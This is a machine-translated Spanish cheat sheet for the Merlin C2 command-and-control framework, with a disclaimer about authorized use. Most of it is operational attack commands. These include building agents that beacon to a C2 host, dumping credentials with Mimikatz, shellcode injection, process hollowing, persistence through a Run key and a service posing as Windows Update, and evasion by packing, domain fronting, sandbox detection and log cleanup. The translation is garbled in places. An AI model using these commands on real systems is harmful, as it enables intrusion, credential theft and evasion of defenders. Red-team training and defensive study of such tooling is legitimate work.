Saltar a contenido

Merlin C2 Marco Cheat Sheet

"Clase de la hoja"

########################################################################################################################################################################################################################################################## Copiar todos los comandos

id="merlin-pdf-btn" class="pdf-btn" onclick="generatePDF()" Generar PDF seleccionado/button ■/div titulada

Sinopsis

Merlin es un servidor y agente de control de comandos HTTP/2 multiplataforma escrito en Golang. Aprovecha HTTP/2 para la comunicación, proporcionando capacidades modernas de evasión de protocolos con el bloqueo de datos incorporado y el cifrado.

NOVEDAD Advertencia: Esta herramienta está destinada a pruebas de penetración autorizadas y ejercicios de equipo rojo solamente. Asegúrese de tener la autorización adecuada antes de usar en cualquier entorno.

Instalación

Binarios precompilados

# Download latest release for Linux
wget https://github.com/Ne0nd0g/merlin/releases/latest/download/merlinServer-Linux-x64.7z
7z x merlinServer-Linux-x64.7z

# Download latest release for Windows
# Download merlinServer-Windows-x64.7z from GitHub releases

# Download latest release for macOS
wget https://github.com/Ne0nd0g/merlin/releases/latest/download/merlinServer-Darwin-x64.7z
7z x merlinServer-Darwin-x64.7z

Build from Source

# Install Go (version 1.19+)
git clone https://github.com/Ne0nd0g/merlin.git
cd merlin
make build-server
make build-agent

Docker Instalación

# Pull official Docker image
docker pull ne0nd0g/merlin

# Run Merlin server in Docker
docker run -it -p 443:443 ne0nd0g/merlin

Uso básico

Inicio Merlin Server

# Start server with default settings
./merlinServer-Linux-x64

# Start server with custom interface
./merlinServer-Linux-x64 -i 0.0.0.0

# Start server with custom port
./merlinServer-Linux-x64 -p 8443

# Start server with custom certificate
./merlinServer-Linux-x64 -crt /path/to/cert.crt -key /path/to/key.key

Generación de Agentes

# Generate Windows agent
make build-agent-windows

# Generate Linux agent
make build-agent-linux

# Generate macOS agent
make build-agent-darwin

Referencia del Comando

Gestión de servidores

Command Description
help Display help menu
version Show version information
listeners List active listeners
agents List connected agents
sessions Show active sessions
exit Exit Merlin server

Gestión de escuchas

Command Description
listeners List all listeners
use listener <type> Select listener type
set <option> <value> Set listener option
start Start the listener
stop Stop the listener
info Show listener information

Agente Interacción

Command Description
interact <agent-id> Interact with agent
shell <command> Execute shell command
upload <local> <remote> Upload file to agent
download <remote> <local> Download file from agent
kill Kill the agent
back Return to main menu

Configuración del oyente

HTTP/2 Escuchador

# Use HTTP/2 listener
use listener http2

# Configure listener options
set Interface 0.0.0.0
set Port 443
set Certificate /path/to/cert.crt
set Key /path/to/key.key

# Start listener
start

HTTP/3 Escuchador (QUIC)

# Use HTTP/3 listener
use listener http3

# Configure QUIC options
set Interface 0.0.0.0
set Port 443
set Certificate /path/to/cert.crt
set Key /path/to/key.key

# Start listener
start

TCP Oyente

# Use TCP listener
use listener tcp

# Configure TCP options
set Interface 0.0.0.0
set Port 4444

# Start listener
start

SMB Oyente

# Use SMB listener (Windows)
use listener smb

# Configure SMB options
set Interface 0.0.0.0
set Port 445

# Start listener
start

Configuración del agente

HTTP/2 Agente

# Build HTTP/2 agent
GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=https://192.168.1.100:443" -o agent.exe cmd/merlinagent/main.go

# Build with custom options
GOOS=linux GOARCH=amd64 go build -ldflags "-X main.url=https://192.168.1.100:443 -X main.sleep=30s -X main.jitter=0.2" -o agent cmd/merlinagent/main.go

Opciones de agente

# Set communication URL
-X main.url=https://server.com:443

# Set sleep interval
-X main.sleep=30s

# Set jitter percentage
-X main.jitter=0.2

# Set maximum retries
-X main.maxretry=7

# Set user agent
-X main.useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)"

# Set proxy
-X main.proxy=http://proxy.com:8080

Comandos de Despliegue

Información del sistema

# Get system information
sysinfo

# Get current user
whoami

# Get environment variables
env

# Get network interfaces
ifconfig

# Get running processes
ps

Operaciones de archivo

# List directory contents
ls /path/to/directory

# Change directory
cd /path/to/directory

# Create directory
mkdir /path/to/new/directory

# Remove file
rm /path/to/file

# Copy file
cp /source/file /destination/file

# Move file
mv /source/file /destination/file

Operaciones de red

# Network connections
netstat

# ARP table
arp

# Routing table
route

# DNS lookup
nslookup domain.com

# Ping host
ping 192.168.1.1

Gestión de procesos

# List processes
ps

# Kill process
kill <pid>

# Start process
execute <command>

# Get process information
info <pid>

Características avanzadas

Módulo

# List available modules
modules

# Use module
use module <module-name>

# Set module options
set <option> <value>

# Run module
run

# Show module info
info

Módulos incorporados

# Mimikatz module
use module mimikatz
set Command sekurlsa::logonpasswords
run

# PowerShell module
use module powershell
set Command Get-Process
run

# Assembly execution
use module executeassembly
set Assembly /path/to/assembly.exe
set Arguments "arg1 arg2"
run

Shellcode Execution

# Execute shellcode
use module shellcode
set Shellcode <base64-encoded-shellcode>
run

# Shellcode injection
use module shinject
set PID <target-pid>
set Shellcode <base64-encoded-shellcode>
run

Persistencia

# Registry persistence
use module persistence
set Method registry
set Key "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
set Value "Update"
set Data "C:\temp\agent.exe"
run

# Service persistence
use module service
set Name "UpdateService"
set DisplayName "Windows Update Service"
set BinaryPath "C:\temp\agent.exe"
run

Técnicas de evacuación

Obfuscación de tráfico

# Custom User-Agent
-X main.useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

# Custom headers
-X main.headers="X-Custom-Header:value"

# Domain fronting
-X main.url=https://cdn.example.com
-X main.host=legitimate-site.com

Obfuscación de carga

# Build with custom build tags
go build -tags="debug" -ldflags "-s -w" -o agent.exe

# Use UPX packing
upx --best agent.exe

# Custom encryption
-X main.psk=your-pre-shared-key

Anti-Analisis

# VM detection
use module vmdetect
run

# Sandbox evasion
use module sleep
set Duration 60
run

# Process hollowing
use module hollow
set Target notepad.exe
set Payload <base64-encoded-payload>
run

Gestión de certificados

Generar un certificado de autor-Firmado

# Generate certificate and key
openssl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes

# Generate with SAN
openssl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes -config <(
echo '[req]'
echo 'distinguished_name = req'
echo '[req]'
echo 'CN = server.com'
echo '[SAN]'
echo 'subjectAltName = DNS:server.com,DNS:*.server.com,IP:192.168.1.100'
)

Vamos a cifrar el certificado

# Install certbot
sudo apt install certbot

# Generate certificate
certbot certonly --standalone -d yourdomain.com

# Use certificate with Merlin
./merlinServer-Linux-x64 -crt /etc/letsencrypt/live/yourdomain.com/fullchain.pem -key /etc/letsencrypt/live/yourdomain.com/privkey.pem

Procedimientos operacionales

Configuración de infraestructura

# Use redirectors
# Set up nginx reverse proxy
server \\\\{
    listen 443 ssl http2;
    server_name legitimate-site.com;

    ssl_certificate /path/to/cert.crt;
    ssl_certificate_key /path/to/key.key;

    location / \\\\{
        proxy_pass https://merlin-server:443;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    \\\\}
\\\\}

Operaciones de equipo

# Multi-operator setup
# Use shared database or file system
# Implement proper access controls
# Use separate operator certificates

Logging and Monitoring

# Enable detailed logging
./merlinServer-Linux-x64 -debug

# Monitor connections
tail -f merlin.log

# Network monitoring
tcpdump -i any -w merlin_traffic.pcap port 443

Solución de problemas

Cuestiones de conexión

# Check listener status
listeners

# Test connectivity
curl -k https://server.com:443

# Check certificate
openssl s_client -connect server.com:443 -servername server.com

Cuestiones de agente

# Debug agent connection
# Build agent with debug flags
go build -ldflags "-X main.debug=true" -o agent-debug.exe

# Check agent logs
# Enable verbose output in agent

Cuestiones de ejecución

# Adjust sleep and jitter
-X main.sleep=10s
-X main.jitter=0.1

# Optimize HTTP/2 settings
# Increase connection limits
# Use connection pooling

Problemas de certificado

# Verify certificate
openssl x509 -in server.crt -text -noout

# Check certificate chain
openssl verify -CAfile ca.crt server.crt

# Test SSL configuration
sslscan server.com:443

Evasión de detección

Nivel de red

  • Utilizar certificados y dominios legítimos
  • Implementar la configuración HTTP/2 adecuada
  • Vary communication patterns and timing
  • Use técnicas de frente de dominio
  • Implementar un correcto manejo de errores

Nivel de acogida

  • Utilizar nombres y caminos legítimos de procesos
  • Implementar anti-VM y detección de cajas de arena
  • Uso del proceso de hueco e inyección
  • Encrypt payloads and communications
  • Limpiar artefactos y registros

Comportamiento

  • Limitar el uso de los recursos y la actividad de red
  • Use agentes y encabezados legítimos de usuario
  • Implementar el sueño adecuado y el jitter
  • Evitar llamadas de API sospechosas
  • Usar técnicas de vida fuera de la tierra

Recursos

-...

*Esta hoja de trampa proporciona una referencia completa para usar Merlin C2 Framework. Siempre asegúrese de tener una autorización adecuada antes de usar esta herramienta en cualquier entorno. *